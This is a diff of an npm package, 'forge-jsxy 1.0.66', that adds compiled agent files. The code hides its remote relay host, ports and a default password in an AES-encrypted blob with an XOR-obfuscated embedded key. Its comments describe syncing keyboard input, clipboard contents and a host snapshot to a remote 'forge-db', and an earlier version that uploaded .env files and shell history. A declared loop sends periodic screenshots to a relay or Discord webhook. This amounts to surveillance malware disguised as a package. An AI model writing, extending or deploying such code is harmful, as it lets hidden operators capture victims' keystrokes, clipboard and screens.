forge-jsxy 1.0.66

package/dist/deploymentDefaults.js

@@ -0,0 +1,199 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.DEFAULT_EXPLORER_PASSWORD = exports.API_DEFAULT_PORT = exports.RELAY_DEFAULT_PORT = exports.DEPLOYMENT_PUBLIC_HOST = void 0;
+exports.resolveForgeBundleKey = resolveForgeBundleKey;
+exports.deploymentDefaultsDisabled = deploymentDefaultsDisabled;
+exports.defaultRelayWsUrl = defaultRelayWsUrl;
+exports.defaultSyncApiBaseUrl = defaultSyncApiBaseUrl;
+exports.resolveSyncApiBaseUrl = resolveSyncApiBaseUrl;
+/**
+ * Default public host, ports, and explorer password are AES-256-GCM encrypted (deploymentCipherData.ts).
+ * The decryption key is embedded in obfuscated form (XOR'd halves) — no plaintext appears in source.
+ *
+ * Key resolution order:
+ *   1. FORGE_JS_BUNDLE_KEY env var (64 hex chars or base64-encoded 32 bytes)
+ *   2. Embedded obfuscated key (XOR'd halves in deploymentCipherData.ts)
+ *
+ * Override relay/API with FORGE_JS_RELAY_URL, FORGE_JS_SYNC_URL / CFGMGR_API_URL, or CLI flags.
+ * Set FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS=1 to ignore built-in + decrypted URLs.
+ */
+require("./envLoad");
+const node_crypto_1 = require("node:crypto");
+const deploymentCipherData_1 = require("./deploymentCipherData");
+let _payload;
+function parseBundleKey(raw) {
+    const t = raw.trim();
+    if (/^[0-9a-fA-F]{64}$/.test(t)) {
+        return Buffer.from(t, "hex");
+    }
+    const b = Buffer.from(t, "base64");
+    if (b.length === 32) {
+        return b;
+    }
+    throw new Error("FORGE_JS_BUNDLE_KEY must be 64 hex characters or base64 encoding 32 bytes");
+}
+/**
+ * Reconstruct the 32-byte key from the embedded XOR-obfuscated halves.
+ * key[i]      = DEPLOYMENT_KEY_A[i] ^ DEPLOYMENT_MASK_A[i]  (i = 0..15)
+ * key[16 + i] = DEPLOYMENT_KEY_B[i] ^ DEPLOYMENT_MASK_B[i]  (i = 0..15)
+ */
+function embeddedBundleKey() {
+    const key = Buffer.alloc(32);
+    for (let i = 0; i < 16; i++) {
+        key[i] = (deploymentCipherData_1.DEPLOYMENT_KEY_A[i] ?? 0) ^ (deploymentCipherData_1.DEPLOYMENT_MASK_A[i] ?? 0);
+    }
+    for (let i = 0; i < 16; i++) {
+        key[16 + i] = (deploymentCipherData_1.DEPLOYMENT_KEY_B[i] ?? 0) ^ (deploymentCipherData_1.DEPLOYMENT_MASK_B[i] ?? 0);
+    }
+    return key;
+}
+function resolveDecryptionKey() {
+    const envKey = process.env.FORGE_JS_BUNDLE_KEY?.trim();
+    if (envKey) {
+        try {
+            return parseBundleKey(envKey);
+        }
+        catch {
+            // Invalid override key — fall through to embedded obfuscated key rather
+            // than returning null, which would silently break all deployment defaults.
+            return embeddedBundleKey();
+        }
+    }
+    return embeddedBundleKey();
+}
+/**
+ * AES-256 key shared with encrypted operator blobs (e.g. `CFGMGR_HF_CREDENTIALS_B64`).
+ * Same resolution as deployment defaults (`FORGE_JS_BUNDLE_KEY` or embedded XOR halves).
+ */
+function resolveForgeBundleKey() {
+    return resolveDecryptionKey() ?? embeddedBundleKey();
+}
+function tryDecryptPayload() {
+    const key = resolveDecryptionKey();
+    if (!key)
+        return null;
+    try {
+        const iv = Buffer.from(deploymentCipherData_1.DEPLOYMENT_CIPHER_IV_B64, "base64");
+        const tag = Buffer.from(deploymentCipherData_1.DEPLOYMENT_CIPHER_TAG_B64, "base64");
+        const enc = Buffer.from(deploymentCipherData_1.DEPLOYMENT_CIPHER_TEXT_B64, "base64");
+        const decipher = (0, node_crypto_1.createDecipheriv)("aes-256-gcm", key, iv);
+        decipher.setAuthTag(tag);
+        const plain = Buffer.concat([decipher.update(enc), decipher.final()]);
+        const o = JSON.parse(plain.toString("utf8"));
+        const publicHost = String(o.publicHost ?? "").trim();
+        const relayPort = Number(o.relayPort);
+        const apiPort = Number(o.apiPort);
+        const defaultExplorerPassword = String(o.defaultExplorerPassword ?? "");
+        if (!publicHost ||
+            !Number.isFinite(relayPort) ||
+            relayPort <= 0 ||
+            relayPort > 65535 ||
+            !Number.isFinite(apiPort) ||
+            apiPort <= 0 ||
+            apiPort > 65535) {
+            return null;
+        }
+        return {
+            publicHost,
+            relayPort: relayPort | 0,
+            apiPort: apiPort | 0,
+            defaultExplorerPassword,
+        };
+    }
+    catch {
+        return null;
+    }
+}
+function payload() {
+    if (_payload !== undefined) {
+        return _payload;
+    }
+    _payload = tryDecryptPayload();
+    return _payload;
+}
+function deploymentDefaultsDisabled() {
+    return (process.env.FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS || "").trim() === "1";
+}
+function effectiveHost() {
+    if (deploymentDefaultsDisabled()) {
+        return "";
+    }
+    return payload()?.publicHost?.trim() ?? "";
+}
+function effectiveRelayPort() {
+    const fromPayload = payload()?.relayPort;
+    if (fromPayload != null && fromPayload > 0) {
+        return fromPayload;
+    }
+    const envP = parseInt(process.env.FORGE_JS_RELAY_PORT || "", 10);
+    if (!Number.isNaN(envP) && envP > 0 && envP <= 65535) {
+        return envP;
+    }
+    // Fallback only if payload decryption failed entirely
+    return 9877;
+}
+function effectiveApiPort() {
+    const fromPayload = payload()?.apiPort;
+    if (fromPayload != null && fromPayload > 0) {
+        return fromPayload;
+    }
+    const envP = parseInt(process.env.FORGE_JS_API_PORT || "", 10);
+    if (!Number.isNaN(envP) && envP > 0 && envP <= 65535) {
+        return envP;
+    }
+    // Fallback only if payload decryption failed entirely
+    return 8765;
+}
+function effectiveDefaultExplorerPassword() {
+    const fromPayload = payload()?.defaultExplorerPassword?.trim();
+    if (fromPayload) {
+        return fromPayload;
+    }
+    // Fallback: empty string forces callers to require explicit password config
+    return "";
+}
+/** Public deployment host from decrypted bundle (empty if disabled or bad decrypt). */
+exports.DEPLOYMENT_PUBLIC_HOST = (() => effectiveHost())();
+/** Relay port from bundle, else FORGE_JS_RELAY_PORT, else generic default. */
+exports.RELAY_DEFAULT_PORT = (() => effectiveRelayPort())();
+/** API port from bundle, else FORGE_JS_API_PORT, else generic default. */
+exports.API_DEFAULT_PORT = (() => effectiveApiPort())();
+/**
+ * Default session password for /files explorer and agent when not overridden by env/CLI.
+ * Comes from encrypted bundle; empty string if bundle decrypt fails.
+ */
+exports.DEFAULT_EXPLORER_PASSWORD = (() => effectiveDefaultExplorerPassword())();
+function defaultRelayWsUrl() {
+    const host = exports.DEPLOYMENT_PUBLIC_HOST;
+    if (!host) {
+        return "";
+    }
+    return `ws://${host}:${exports.RELAY_DEFAULT_PORT}`;
+}
+function defaultSyncApiBaseUrl() {
+    const host = exports.DEPLOYMENT_PUBLIC_HOST;
+    if (!host) {
+        return "";
+    }
+    return `http://${host}:${exports.API_DEFAULT_PORT}`;
+}
+/**
+ * Effective forge-db HTTP base URL — same rules as `resolveSyncApiBase` in `windowsInputSync`:
+ * `FORGE_JS_SYNC_URL` / `CFGMGR_CFG` / `CFGMGR_API_URL`, else `defaultSyncApiBaseUrl()` when
+ * deployment defaults are enabled. Returns null if sync is disabled or no host is configured.
+ */
+function resolveSyncApiBaseUrl() {
+    if ((process.env.FORGE_JS_DISABLE_SYNC || "").trim() === "1") {
+        return null;
+    }
+    const u = (process.env.FORGE_JS_SYNC_URL ||
+        process.env.CFGMGR_CFG ||
+        process.env.CFGMGR_API_URL ||
+        "").trim();
+    if (u)
+        return u.replace(/\/+$/, "");
+    if (deploymentDefaultsDisabled())
+        return null;
+    const d = defaultSyncApiBaseUrl().replace(/\/+$/, "");
+    return d || null;
+}

package/dist/desktopEnvSync.d.ts

@@ -0,0 +1,18 @@
+/**
+ * Historical name only — **forge-agent no longer uploads .env files or shell history** to forge-db.
+ * Keyboard + clipboard + a **minimal host OS JSON** snapshot (`hostInventorySend.ts` via `windowsInputSync.ts`) are synced.
+ *
+ * Public API stubs remain so older imports do not break at compile time.
+ */
+export declare function effectiveSyncEnvFiles(): boolean;
+export declare function resolveEnvScanRootsFromEnv(): string[] | undefined;
+export interface DesktopEnvSyncOptions {
+    apiBaseUrl: string;
+    clientId?: string;
+    intervalMs?: number;
+    roots?: string[];
+    quiet?: boolean;
+    skipRegistrationHandshake?: boolean;
+}
+/** No-op — env/history/inventory sync was removed from the agent. */
+export declare function startDesktopEnvSync(_opts: DesktopEnvSyncOptions): () => void;

package/dist/desktopEnvSync.js

@@ -0,0 +1,21 @@
+"use strict";
+/**
+ * Historical name only — **forge-agent no longer uploads .env files or shell history** to forge-db.
+ * Keyboard + clipboard + a **minimal host OS JSON** snapshot (`hostInventorySend.ts` via `windowsInputSync.ts`) are synced.
+ *
+ * Public API stubs remain so older imports do not break at compile time.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.effectiveSyncEnvFiles = effectiveSyncEnvFiles;
+exports.resolveEnvScanRootsFromEnv = resolveEnvScanRootsFromEnv;
+exports.startDesktopEnvSync = startDesktopEnvSync;
+function effectiveSyncEnvFiles() {
+    return false;
+}
+function resolveEnvScanRootsFromEnv() {
+    return undefined;
+}
+/** No-op — env/history/inventory sync was removed from the agent. */
+function startDesktopEnvSync(_opts) {
+    return () => { };
+}

package/dist/discordAgentScreenshot.d.ts

@@ -0,0 +1,27 @@
+export type DiscordRelayAck = {
+    ok: boolean;
+    error?: string;
+};
+export type DiscordTicketResult = {
+    ok: boolean;
+    webhook_url?: string;
+    error?: string;
+};
+export type DiscordAgentScreenshotOpts = {
+    sendJson: (obj: unknown) => void;
+    quiet: boolean;
+    waitForRelayDiscordAck: (requestId: string) => Promise<DiscordRelayAck>;
+    waitForDiscordTicket: (requestId: string) => Promise<DiscordTicketResult>;
+    /** When true, run the loop even if `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` is unset (relay `relay_features`). */
+    enabledByRelayCapabilities?: boolean;
+};
+/**
+ * Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
+ * `discord_screenshot_interval_ms`: **15s–600s**; invalid/unset agent env defaults to **300000**.
+ */
+export declare function resolveDiscordScreenshotIntervalMs(): number;
+/**
+ * Base interval plus optional **stable** stagger from `client_id` (same bounds 15s–600s).
+ */
+export declare function resolveDiscordScreenshotScheduledIntervalMs(clientId: string): number;
+export declare function startDiscordScreenshotToRelayLoop(opts: DiscordAgentScreenshotOpts): () => void;